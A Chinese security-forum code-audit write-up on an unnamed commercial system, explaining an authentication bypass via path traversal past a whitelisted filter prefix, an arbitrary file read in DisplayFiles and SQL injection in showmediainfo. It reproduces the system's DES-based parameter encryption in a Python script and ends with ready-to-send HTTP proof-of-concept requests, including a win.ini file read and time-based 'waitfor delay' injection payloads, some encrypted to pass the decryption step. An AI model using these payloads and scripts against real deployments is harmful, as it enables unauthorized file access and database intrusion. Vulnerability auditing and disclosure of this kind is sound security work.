奇安信攻防社区-记某景的一次代码审计

记某景的一次代码审计

过滤器查找+漏洞审计+加解密算法破解

0x00 前言
-------

我只能说，某景漏洞多的一。。。。。。  
今天，就捡两个公开过的漏洞进行下审计吧

0x01 过滤器查找
----------

有经验的师傅都知道，此系统很多接口是做了鉴权的，并不能未授权访问。但是，有的接口加白了，可以通过加白接口进行路径穿越绕过鉴权。  
废话不多说，开始正题。一般过滤器都会在web.xml里找到对应的接口与类名，搜索单词filter,定位到HireKeywordFilter类

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-e915435870da16d89fbf343cabfde91811606bb9.png)  
查看代码，`var3.doFilter(var1, var2);`这行代码是调用FilterChain对象的`doFilter`方法，将ServletRequest对象和ServletResponse对象传递给下一个过滤器或Servlet进行处理。在Servlet过滤器中，通过调用`FilterChain`的`doFilter`方法，可以将请求传递给过滤器链中的下一个过滤器，或者如果没有下一个过滤器了，则传递给Servlet进行处理。

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-0143d4032168a6f34aa3bf9c8a1988d34c598a23.png)  
![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-f19e2b457b2159bf53acc44ae2c0447817615c95.png)  
在这个例子中，若var6也就是uri是以/w\_selfservice/oauthservlet开头的，即执行`var3.doFilter(var1, var2);`。那么当我访问其他接口。则使用/w\_selfservice/oauthservlet../../即可绕过鉴权

0x02 漏洞审计
---------

在此，以最近爆出的DisplayFiles文件读取和showmediainfo注入为例开始审计。

### DisplayFiles文件读取

web.xml搜索DisplayFiles，定位到代码：

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-1fe101217d961ee175fd4c85ddd105967aa1278e.png)

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-e08543345f63e80e0b0705e19c55ccb27caeeafa.png)  
可见从前端接受参数filepath，赋值给var3变量，var3经过SafeCode.decode方法，PubFunc.decrypt方法后，得到明文，根据方法名就可以初步猜测是解码和解密操作。后续就很简单了，var3传入File类，赋值给var4,开始获取文件的字节流并输出到响应里面

### showmediainfo注入

web.xml搜索showmediainfo，定位到代码：

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-2f400f9b8a2632f0252219ea3d9545775eeabc01.png)

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-35a615af34a2338ebb7b88db52e34c07f1c06bd9.png)

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-e3dd68b1c85cf9cb95c3d6d926117aa51a74c819.png)  
前端接受usernumber、i9999、kind三个参数，分别赋值给var3、var4、var5三个变量。而后续逻辑明显可以看到sql语句的拼接，也就是注入点。发现var3和var4可注入，而var5是作为if的判断值。var3参数也经过 PubFunc.decrypt的解密。因此这个接口的注入，var4是比较简单的,var3需要经过解密操作。

0x03 加解密破解
----------

由上方的漏洞审计可知，两个漏洞参数都需要进行解密操作，意味着前端传入的参数值是一个密文。跟进解密方法查看代码。刚好看到加密方法也在上方。

```js
public static String encrypt(String var0) {  
    if (null \== var0) {  
        return "";  
    } else {  
        String var1 = SafeCode.encrypt(var0);  
        var1 = var1.replaceAll("%", "@2HJ5@");  
        var1 = var1.replaceAll("\\\\+", "@2HJB@");  
        var1 = var1.replaceAll(" ", "@2HJ0@");  
        var1 = var1.replaceAll("\\\\/", "@2HJF@");  
        var1 = var1.replaceAll("\\\\?", "@3HJF@");  
        var1 = var1.replaceAll("#", "@2HJ3@");  
        var1 = var1.replaceAll("&", "@2HJ6@");  
        var1 = var1.replaceAll("=", "@3HJD@");  
        var1 = var1.replaceAll("\\r\\n", "").replaceAll("\\n", "").replaceAll("\\r", "");  
        var1 = var1.replaceAll("@", "PAATTP");  
        return var1;  
    }  
}

public static String decrypt(String var0) {  
    if (null \== var0) {  
        return "";  
    } else {  
        var0 = var0.replaceAll("PAATTP", "@");  
        var0 = var0.replaceAll("@2HJ5@", "%");  
        var0 = var0.replaceAll("@2HJB@", "\\\\+");  
        var0 = var0.replaceAll("@2HJ0@", " ");  
        var0 = var0.replaceAll("@2HJF@", "\\\\/");  
        var0 = var0.replaceAll("@3HJF@", "\\\\?");  
        var0 = var0.replaceAll("@2HJ3@", "#");  
        var0 = var0.replaceAll("@2HJ6@", "&");  
        var0 = var0.replaceAll("@3HJD@", "=");  
        String var1 = SafeCode.decrypt(var0);  
        return var1;  
    }  
}
```

先看加密方法，首先var0参数传入到SafeCode.encrypt方法进行加密，跟进此方法，可以看到使用的是des加解密函数，为对称加密算法，意味着只要有加密密钥，即可正向加密，也可逆向解密。而加密密钥即为下图马赛克的值（这属于厂商敏感信息，不明文展示了）：

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-9e6493ffe0ae96dbfb0629d9677e8bc38fe92fc1.png)

搞懂了加解密算法实际为des加解密，然后再回到PubFunc.encrypt方法，可知进行了des加密后，又要把密文的%，+，/等字符（具体看上方代码）进行一个替换，得到最终的密文。而同样的，查看PubFunc.decrypt方法代码，可得是加密的逆向操作，先对密文进行字符串替换，得到des的密文，再进行des解密。使用此逻辑写python加解密脚本，如下：

```js
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode, b64decode

def encrypt(key, data):
    key = key.encode('utf-8')
    data = data.encode('utf-8')
    iv = b'\x01\x02\x03\x04\x05\x06\x07\x08'  # 初始化向量
    cipher = DES.new(key, DES.MODE_CBC, iv)
    ct_bytes = cipher.encrypt(pad(data, DES.block_size))
    var1=b64encode(ct_bytes).decode('utf-8')
    var1 = var1.replace("%", "@2HJ5@");
    var1 = var1.replace("+", "@2HJB@");
    var1 = var1.replace(" ", "@2HJ0@");
    var1 = var1.replace("/", "@2HJF@");
    var1 = var1.replace("?", "@3HJF@");
    var1 = var1.replace("#", "@2HJ3@");
    var1 = var1.replace("&", "@2HJ6@");
    var1 = var1.replace("=", "@3HJD@");
    var1 = var1.replace("\r\n", "").replace("\n", "").replace("\r", "");
    var1 = var1.replace("@", "PAATTP");
    return var1

def decrypt(key, encrypted_data):
    key = key.encode('utf-8')
    encrypted_data = encrypted_data.replace("PAATTP", "@");
    encrypted_data = encrypted_data.replace("@2HJ5@", "%");
    encrypted_data = encrypted_data.replace("@2HJB@", "+");
    encrypted_data = encrypted_data.replace("@2HJ0@", " ");
    encrypted_data = encrypted_data.replace("@2HJF@", "/");
    encrypted_data = encrypted_data.replace("@3HJF@", "?");
    encrypted_data = encrypted_data.replace("@2HJ3@", "#");
    encrypted_data = encrypted_data.replace("@2HJ6@", "&");
    encrypted_data = encrypted_data.replace("@3HJD@", "=");
    encrypted_data = b64decode(encrypted_data)
    iv = b'\x01\x02\x03\x04\x05\x06\x07\x08'  # 初始化向量
    cipher = DES.new(key, DES.MODE_CBC, iv)
    pt_bytes = unpad(cipher.decrypt(encrypted_data), DES.block_size)
    return pt_bytes.decode('utf-8')

if __name__ == "__main__":
    key = "xxxxx"
    data = "1' if db_name(1)='master' waitfor delay '0:0:6'--+"

encrypted_data = encrypt(key, data)
    print("Encrypted:", encrypted_data)
    encrypted_data='0JALorlQogBNgRuaXkp7QCus5DXQ1K1RU60C2QunGQUgKkcXUh9HXukA75IwTpCaGcqFlluMQLvPAATTP2HJFPAATTPgvSl8mZXxPAATTP2HJFPAATTPe2LWnL7Rg2Ceg0zzONMioPAATTP3HJDPAATTP'
    decrypted_data = decrypt(key, encrypted_data)
    print("Decrypted:", decrypted_data)

```

运行示意图：

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-fd3b416574241658b2f9458ac5a580688d9fdb65.png)

0x04 最终poc
----------

### DisplayFiles文件读取

读取c:/windows/win.ini，先加密路径：

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-a496edaf8715946f564d1552c9d7f407a6440e72.png)  
发送poc:

```js
POST /templates/attestation/../../servlet/DisplayFiles HTTP/1.1
Host: 
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

filepath=Iy4ZOyMhERdhPLlFrJHBaRdJo53c25S1
```

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-56b1a41de0820e9fbe0167dacf540530fded3a64.png)

### showmediainfo注入

先是简单的i9999参数注入，不走if (var5.equalsIgnoreCase("0"))，即令kind=1，为字符型注入。payload:' waitfor delay '0:0:6'--+  
poc:

```js
POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
Host: 
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

kind=1&usernumber=&i9999=12' waitfor delay '0:0:6'--+
```

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-ac65fc6a0c274206a7698fd34037a73156fdee6b.png)  
然后是usernumber注入，需要进入if (var5.equalsIgnoreCase("0"))，即令kind=0，还需要加密payload:

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-07258504fd16cb20b313fbef6b2a43cf63d24c28.png)  
poc:

```js
POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
Host: 127.0.0.1:8080
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

kind=0&usernumber=i8hoHAILh4YkvJtIAayRbk4pSpIEAvWmx22WPMFig6wPAATTP3HJDPAATTP&i9999=
```

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-113a088edec7b7e118bbbabcc5f0ba5fce29a401.png)

发表于 2024-04-30 09:00:02
阅读 ( 3487 )
分类：代码审计

记某景的一次代码审计

0 条评论